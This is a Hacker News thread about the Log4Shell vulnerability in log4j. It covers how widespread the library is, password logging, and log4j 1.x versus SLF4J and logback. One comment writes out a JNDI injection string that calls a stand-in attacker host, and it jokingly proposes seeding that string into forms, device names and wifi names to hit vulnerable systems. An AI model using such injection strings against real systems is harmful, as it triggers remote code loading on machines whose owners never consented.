Hacker News Reader

Comment by candiddevmike | Hacker News Reader

This vulnerability is like PFAS, it's going to be around forever. log4j is in so many things, things no one might think would have it. Probably a ton of old stuff people don't think to update or can (thinking consumer routers).

View on HN

Too much fun to think about the ways to get hits. All it takes is a simple string.

Start filling out paper forms with ${jndi:ldap://attackerserver.com:1389/ExploitPayload} as your name and wait for the responses. It'll get digitized somewhere and it's not like a timeshare condo will have a security team behind the scenes.

Rename your computer and wifi network. Telemetry is everywhere, you'll probably get some hits.

Naming your phone and Tesla car gets hits. https://www.theverge.com/2021/12/13/22832552/iphone-tesla-sm...

How about an official name change to the above? Anyone game?

My favorite was responding to SMS bots https://twitter.com/infosecatom/status/1469774771634249740?s...

Just read through some of that. My favorite response: "Is it wrong to use a log4j exploit as a password?

I mean, passwords shouldn't be coming anywhere near logging code... right?"

How many times have we heard of raw text passwords being saved in logs?

Only once. At Facebook: https://krebsonsecurity.com/2019/03/facebook-stored-hundreds...

And google:

https://www.theverge.com/2019/5/21/18634842/google-passwords...

I knew it was definitely more than once. If it gets done at places like FB & G, then you know other smaller places are doing/have done it as well. They just didn't make the news, nor know it isn't a bad thing.

I mean, what if we have to troubleshoot an issue that is due to, say, the character encoding of such password? We need to see it, right?

(yes, such an issue would likely indicate you're not handling that sort of data in the right way, but fixing that would probably take three weeks and the PM is screaming FIXITNAOO because the customer is on the phone...)

(I'm not condoning this, just saying that it can look sensible at the time)

No. Just NO NO NO. Passwords should be treated as sacrosanct. There are other ways of testing encoding. Looking at someone's password should be anathema to anyone. That's like wearing mirrors on your shoes trying to look up places one shouldn't be looking. It's just naughty to the point that any normal person would think it wrong to be doing it. Those kind of requests should actually be reported immediately. Stand up for yourself, for your fellow devs, for 'all humankind' and tell that PM making the request to pound sand (politely). If still pushed, go report them to the next rung up. "Because orders" is not a valid excuse.

Even for a honeypot?

ugh, now you're going to make me feel dirty for saying maybe

are you running honeypot as white hat to attract "bad guys" to then flip the table?

if you're a black hat trying to do bad then you already don't care about morals, so the question is pointless.

...and you can assume that for every case you hear of, there are at least 50 that you didn't hear of, because if you do end up logging passwords, it's something you're likely to want to keep under wraps if possible.

Reminds me of old Bobby Tables :-)

https://xkcd.com/327/

It'll get digitized somewhere

I wonder how many surveillance cameras can be borked by walking around in public with this on a sign. Too long for a hat.

There needs to be a good catchphrase for your porcupine strategy, like passive offensive security.

One of the random thoughts I had was that I’m sure there’s going to be plenty of clever ways to obfuscate the jndi payload, sort of how you can ping an IP address in octal, an integer, or hex:

https://ma.ttias.be/silly-little-ip-tricks/

log4j 2 isn't in so many things AFAIK? log4j 1.x is in everything, but that's not vulnerable.

I wouldn't be surprised if log4j 1.x is also vulnerable in many fun ways and that bad actors would be more willing to poke around log4j 1.x now in order to figure out new vulnerabilities to exploit.

My general impression for years has been that log4j2 and slf4j/logback are overengineered feature-fests whereas log4j 1.x is sane and simple.

IIUC, Log4j 1 is a completely separate code based from 2, so you may be right.

It's in a whole stack of Salesforce and GIS products based on the Sales force update page and some of our spatial vendors emails. That alone means a great many large and medium companies and large government departments around the world have v2 available in some way on a piece of infrastructure somewhere.

Yeah, I'd expect to see it in that kind of giant-enterprise-framework system. But hopefully not so much in the kind of embedded app that might be running unnoticed without updates. Maybe that's wishful thinking.

Yes, this is something that's been lost in the all the loud speaker noise.

Log4j 1.x was indeed ubiquitous at one time. SLF4J took most of the mindshare before Log4j 2.x got traction and Log4j 2.x is not the go-to Java logging solution today. Spring, for instance, defaults to SLF4J. Huge code bases that were heavily invested in Log4j 1.x often migrated from 1 to 2 due to API compatibility and these account for most Log4j 2.x usage today. That's the history as I see it.

Had most developers not done Log4j 1.x -> SLF4J and instead waited for Log4j 2.x this problem would be much worse than it is; a vast number of small, neglected services would have had to be fixed. The thought that I'm having is now that the power of compromising these logging frameworks has been demonstrated the ransomware crews are going to look very hard at them and find more large holes.

Be aware that using SLF4J does NOT mean you're not using log4j (1 or 2). SLF4J, as it names implies (Simple Logging Facade) is a logging facade, so your code is not tied to a specific logging implementation, like log4j. But it does not do the actual logging, and you have to use some implementation, which can be (and quite often is) log4j.

However, it is right that log4j2 is not as ubiquitous as log4j1. Spring Boot, while using SLF4J, defaults to "logback", if I'm not wrong, which is another logging framework similar to log4j, but not affected with this kind of vulnerabilities.

Yes, it is possible to use log4j-core as the backend for SLF4J. The vast majority of the time, especially in small, bespoke services, the backend is logback.

I'm reminded of something Al Viro said long ago about the Linux kernel[1]

"Yes. So's sysfs, so's udev, so's hal, so's any number of revolting strings of intertwined copulating tapeworms hanging off the kernel's arse."

[1] http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02297.html http://lkml.iu.edu/hypermail/linux/kernel/0906.1/02304.html

Reply on news.ycombinator.com